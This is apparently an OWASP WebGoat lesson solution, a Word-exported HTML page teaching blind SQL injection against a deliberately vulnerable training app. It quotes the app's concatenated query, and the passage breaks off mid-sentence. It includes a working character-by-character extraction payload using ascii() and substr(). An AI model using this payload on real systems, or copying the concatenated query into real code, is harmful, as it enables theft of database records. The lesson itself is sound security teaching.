<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" xmlns="http://www.w3.org/TR/REC-html40"> <head> <meta http-equiv=Content-Type content="text/html; charset=windows-1252"> <meta name=ProgId content=Word.Document> <meta name=Generator content="Microsoft Word 12"> <meta name=Originator content="Microsoft Word 12"> <link rel=File-List href="/WebGoat/lesson_solutions/BlindSqlInjection_files/filelist.xml"> <link rel=Edit-Time-Data href="/WebGoat/lesson_solutions/BlindSqlInjection_files/editdata.mso"> <!--[if !mso]> <style> v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} </style> <![endif]--><!--[if gte mso 9]><xml> <o:DocumentProperties> <o:Author>egeirnaert</o:Author> <o:LastAuthor>egeirnaert</o:LastAuthor> <o:Revision>3</o:Revision> <o:TotalTime>35</o:TotalTime> <o:Created>2007-07-11T11:06:00Z</o:Created> <o:LastSaved>2007-07-12T15:25:00Z</o:LastSaved> <o:Pages>3</o:Pages> <o:Words>622</o:Words> <o:Characters>3547</o:Characters> <o:Company> </o:Company> <o:Lines>29</o:Lines> <o:Paragraphs>8</o:Paragraphs> <o:CharactersWithSpaces>4161</o:CharactersWithSpaces> <o:Version>12.00</o:Version> </o:DocumentProperties> </xml><![endif]--> <link rel=themeData href="/WebGoat/lesson_solutions/BlindSqlInjection_files/themedata.thmx"> <link rel=colorSchemeMapping href="/WebGoat/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml"> <!--[if gte mso 9]><xml> <w:WordDocument> <w:TrackMoves>false</w:TrackMoves> <w:TrackFormatting/> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF/> <w:LidThemeOther>EN-US</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> <w:SplitPgBreakAndParaMark/> <w:DontVertAlignCellWithSp/> <w:DontBreakConstrainedForcedTables/> <w:DontVertAlignInTxbx/> <w:Word11KerningPairs/> <w:CachedColBalance/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math"/> <m:brkBin m:val="before"/> <m:brkBinSub m:val="--"/> <m:smallFrac m:val="off"/> <m:dispDef/> <m:lMargin m:val="0"/> <m:rMargin m:val="0"/> <m:defJc m:val="centerGroup"/> <m:wrapIndent m:val="1440"/> <m:intLim m:val="subSup"/> <m:naryLim m:val="undOvr"/> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true" DefSemiHidden="true" DefQFormat="false" DefPriority="99" LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Normal"/> <w:LsdException Locked="false" Priority="0" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="heading 1"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/> <w:LsdException Locked="false" Priority="39" Name="toc 1"/> <w:LsdException Locked="false" Priority="39" Name="toc 2"/> <w:LsdException Locked="false" Priority="39" Name="toc 3"/> <w:LsdException Locked="false" Priority="39" Name="toc 4"/> <w:LsdException Locked="false" Priority="39" Name="toc 5"/> <w:LsdException Locked="false" Priority="39" Name="toc 6"/> <w:LsdException Locked="false" Priority="39" Name="toc 7"/> <w:LsdException Locked="false" Priority="39" Name="toc 8"/> <w:LsdException Locked="false" Priority="39" Name="toc 9"/> <w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/> <w:LsdException Locked="false" Priority="10" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Title"/> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/> <w:LsdException Locked="false" Priority="11" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/> <w:LsdException Locked="false" Priority="0" Name="Hyperlink"/> <w:LsdException Locked="false" Priority="22" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Strong"/> <w:LsdException Locked="false" Priority="20" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/> <w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/> <w:LsdException Locked="false" Priority="59" SemiHidden="false" UnhideWhenUsed="false" Name="Table Grid"/> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/> <w:LsdException Locked="false" Priority="1" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/> <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading"/> <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List"/> <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid"/> <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1"/> <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2"/> <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1"/> <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2"/> <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1"/> <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2"/> <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3"/> <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List"/> <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading"/> <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List"/> <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid"/> <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 1"/> <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 1"/> <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 1"/> <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/> <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/> <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/> <w:LsdException Locked="false" Priority="34" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/> <w:LsdException Locked="false" Priority="29" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Quote"/> <w:LsdException Locked="false" Priority="30" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/> <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/> <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/> <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/> <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/> <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 1"/> <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/> <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 1"/> <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/> <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 2"/> <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 2"/> <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 2"/> <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/> <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/> <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/> <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/> <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/> <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/> <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/> <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 2"/> <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/> <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 2"/> <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/> <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 3"/> <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 3"/> <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 3"/> <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/> <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/> <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/> <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/> <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/> <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/> <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/> <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 3"/> <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/> <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 3"/> <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/> <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 4"/> <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 4"/> <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 4"/> <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/> <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/> <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/> <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/> <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/> <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/> <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/> <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 4"/> <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/> <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 4"/> <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/> <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 5"/> <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 5"/> <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 5"/> <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/> <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/> <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/> <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/> <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/> <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/> <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/> <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 5"/> <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/> <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 5"/> <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/> <w:LsdException Locked="false" Priority="60" SemiHidden="false" UnhideWhenUsed="false" Name="Light Shading Accent 6"/> <w:LsdException Locked="false" Priority="61" SemiHidden="false" UnhideWhenUsed="false" Name="Light List Accent 6"/> <w:LsdException Locked="false" Priority="62" SemiHidden="false" UnhideWhenUsed="false" Name="Light Grid Accent 6"/> <w:LsdException Locked="false" Priority="63" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/> <w:LsdException Locked="false" Priority="64" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/> <w:LsdException Locked="false" Priority="65" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/> <w:LsdException Locked="false" Priority="66" SemiHidden="false" UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/> <w:LsdException Locked="false" Priority="67" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/> <w:LsdException Locked="false" Priority="68" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/> <w:LsdException Locked="false" Priority="69" SemiHidden="false" UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/> <w:LsdException Locked="false" Priority="70" SemiHidden="false" UnhideWhenUsed="false" Name="Dark List Accent 6"/> <w:LsdException Locked="false" Priority="71" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/> <w:LsdException Locked="false" Priority="72" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful List Accent 6"/> <w:LsdException Locked="false" Priority="73" SemiHidden="false" UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/> <w:LsdException Locked="false" Priority="19" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/> <w:LsdException Locked="false" Priority="21" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/> <w:LsdException Locked="false" Priority="31" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/> <w:LsdException Locked="false" Priority="32" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/> <w:LsdException Locked="false" Priority="33" SemiHidden="false" UnhideWhenUsed="false" QFormat="true" Name="Book Title"/> <w:LsdException Locked="false" Priority="37" Name="Bibliography"/> <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/> </w:LatentStyles> </xml><![endif]--> <style> <!-- /* Font Definitions */ @font-face {font-family:Wingdings; panose-1:5 0 0 0 0 0 0 0 0 0; mso-font-charset:2; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face {font-family:"MS Mincho"; panose-1:2 2 6 9 4 2 5 8 3 4; mso-font-alt:"\FF2D\FF33 \660E\671D"; mso-font-charset:128; mso-generic-font-family:modern; mso-font-pitch:fixed; mso-font-signature:-1610612033 1757936891 16 0 131231 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:roman; mso-font-pitch:variable; mso-font-signature:-1610611985 1107304683 0 0 159 0;} @font-face {font-family:Tahoma; panose-1:2 11 6 4 3 5 4 4 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:1627400839 -2147483648 8 0 66047 0;} @font-face {font-family:"\@MS Mincho"; panose-1:2 2 6 9 4 2 5 8 3 4; mso-font-charset:128; mso-generic-font-family:modern; mso-font-pitch:fixed; mso-font-signature:-1610612033 1757936891 16 0 131231 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman","serif"; mso-fareast-font-family:"Times New Roman";} h1 {mso-style-unhide:no; mso-style-qformat:yes; mso-style-link:"Heading 1 Char"; mso-style-next:Normal; margin-top:12.0pt; margin-right:0cm; margin-bottom:3.0pt; margin-left:0cm; mso-pagination:widow-orphan; page-break-after:avoid; mso-outline-level:1; font-size:16.0pt; font-family:"Arial","sans-serif"; mso-fareast-font-family:"MS Mincho"; mso-font-kerning:16.0pt; mso-fareast-language:JA; font-weight:bold;} h2 {mso-style-noshow:yes; mso-style-priority:9; mso-style-qformat:yes; mso-style-link:"Heading 2 Char"; mso-style-next:Normal; margin-top:10.0pt; margin-right:0cm; margin-bottom:0cm; margin-left:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan lines-together; page-break-after:avoid; mso-outline-level:2; font-size:13.0pt; font-family:"Cambria","serif"; mso-ascii-font-family:Cambria; mso-ascii-theme-font:major-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:Cambria; mso-hansi-theme-font:major-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi; color:#4F81BD; mso-themecolor:accent1; font-weight:bold;} p.MsoCaption, li.MsoCaption, div.MsoCaption {mso-style-noshow:yes; mso-style-qformat:yes; mso-style-next:Normal; margin:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman","serif"; mso-fareast-font-family:"Times New Roman"; font-weight:bold;} p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn {mso-style-noshow:yes; mso-style-priority:99; margin:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman","serif"; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:major-fareast;} a:link, span.MsoHyperlink {mso-style-noshow:yes; color:blue; text-decoration:underline; text-underline:single;} a:visited, span.MsoHyperlinkFollowed {mso-style-noshow:yes; mso-style-priority:99; color:purple; mso-themecolor:followedhyperlink; text-decoration:underline; text-underline:single;} p {mso-style-noshow:yes; mso-margin-top-alt:auto; margin-right:0cm; mso-margin-bottom-alt:auto; margin-left:0cm; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman","serif"; mso-fareast-font-family:"Times New Roman";} p.MsoAcetate, li.MsoAcetate, div.MsoAcetate {mso-style-noshow:yes; mso-style-priority:99; mso-style-link:"Balloon Text Char"; margin:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:8.0pt; font-family:"Tahoma","sans-serif"; mso-fareast-font-family:"Times New Roman";} span.Heading1Char {mso-style-name:"Heading 1 Char"; mso-style-unhide:no; mso-style-locked:yes; mso-style-link:"Heading 1"; mso-ansi-font-size:16.0pt; mso-bidi-font-size:16.0pt; font-family:"MS Mincho"; mso-ascii-font-family:"MS Mincho"; mso-fareast-font-family:"MS Mincho"; mso-hansi-font-family:"MS Mincho"; mso-bidi-font-family:Arial; mso-font-kerning:16.0pt; mso-fareast-language:JA; font-weight:bold;} span.Heading2Char {mso-style-name:"Heading 2 Char"; mso-style-noshow:yes; mso-style-priority:9; mso-style-unhide:no; mso-style-locked:yes; mso-style-link:"Heading 2"; mso-ansi-font-size:13.0pt; mso-bidi-font-size:13.0pt; font-family:"Cambria","serif"; mso-ascii-font-family:Cambria; mso-ascii-theme-font:major-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:major-fareast; mso-hansi-font-family:Cambria; mso-hansi-theme-font:major-latin; color:#4F81BD; mso-themecolor:accent1; font-weight:bold;} span.BalloonTextChar {mso-style-name:"Balloon Text Char"; mso-style-noshow:yes; mso-style-priority:99; mso-style-unhide:no; mso-style-locked:yes; mso-style-link:"Balloon Text"; mso-ansi-font-size:8.0pt; mso-bidi-font-size:8.0pt; font-family:"Tahoma","sans-serif"; mso-ascii-font-family:Tahoma; mso-fareast-font-family:"Times New Roman"; mso-hansi-font-family:Tahoma; mso-bidi-font-family:Tahoma;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-size:10.0pt; mso-ansi-font-size:10.0pt; mso-bidi-font-size:10.0pt; mso-ascii-font-family:Arial; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Arial; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi;} @page Section1 {size:612.0pt 792.0pt; margin:72.0pt 72.0pt 72.0pt 72.0pt; mso-header-margin:35.4pt; mso-footer-margin:35.4pt; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style> <!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Arial","sans-serif"; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:major-bidi;} </style> <![endif]--><!--[if gte mso 9]><xml> <o:shapedefaults v:ext="edit" spidmax="3074"/> </xml><![endif]--><!--[if gte mso 9]><xml> <o:shapelayout v:ext="edit"> <o:idmap v:ext="edit" data="1"/> </o:shapelayout></xml><![endif]--> </head> <body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'> <div class=Section1> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span style='font-family:"Arial","sans-serif"'>Lesson Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to Perform Blind SQL Injection <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span style='font-family:"Arial","sans-serif"'>Concept / Topic To Teach: <o:p></o:p></span></b></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack. <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of SQL injection.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span style='font-family:"Arial","sans-serif"'>General Goal(s): <o:p></o:p></span></b></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The user should be able to view all records in the specified table.<span style='mso-spacerun:yes'>� </span>The user could add new records or modify existing records.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span style='font-family:"Arial","sans-serif"'>From the hints </span></b><b style='mso-bidi-font-weight:normal'><span style='font-family:Wingdings; mso-ascii-font-family:Arial;mso-hansi-font-family:Arial;mso-bidi-font-family: Arial;mso-char-type:symbol;mso-symbol-font-family:Wingdings'><span style='mso-char-type:symbol;mso-symbol-font-family:Wingdings'>J</span></span></b><b style='mso-bidi-font-weight:normal'><span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></b></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. Create a SQL statement that you can use as a true/false test and then select the first character of the target element and do a start narrowing down the character using > and <<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The backend database is HSQLDB. Keep that in mind if you research SQL functions on the Internet since different databases use some different functions and syntax.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This is the code for the query being built and issued by WebGoat:<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>"SELECT * FROM user_data WHERE userid = " + accountNumber<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The application is taking your input and inserting it at the end of a pre-formed SQL command. You will need to make use of the following SQL functions: <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>SELECT - query for your target data and get a string <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>substr(string, start, length) - returns a substring of string starting at the start character and going for length characters <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>ascii(string) will return the ascii value of the first character in string <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>> and < - once you have a character's value, compare it to a choosen one<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Example: is the first character of the first_name of userid 15613 less than 'M' (ascii 77)? <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 ); <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>If you get back that account number is valid, then 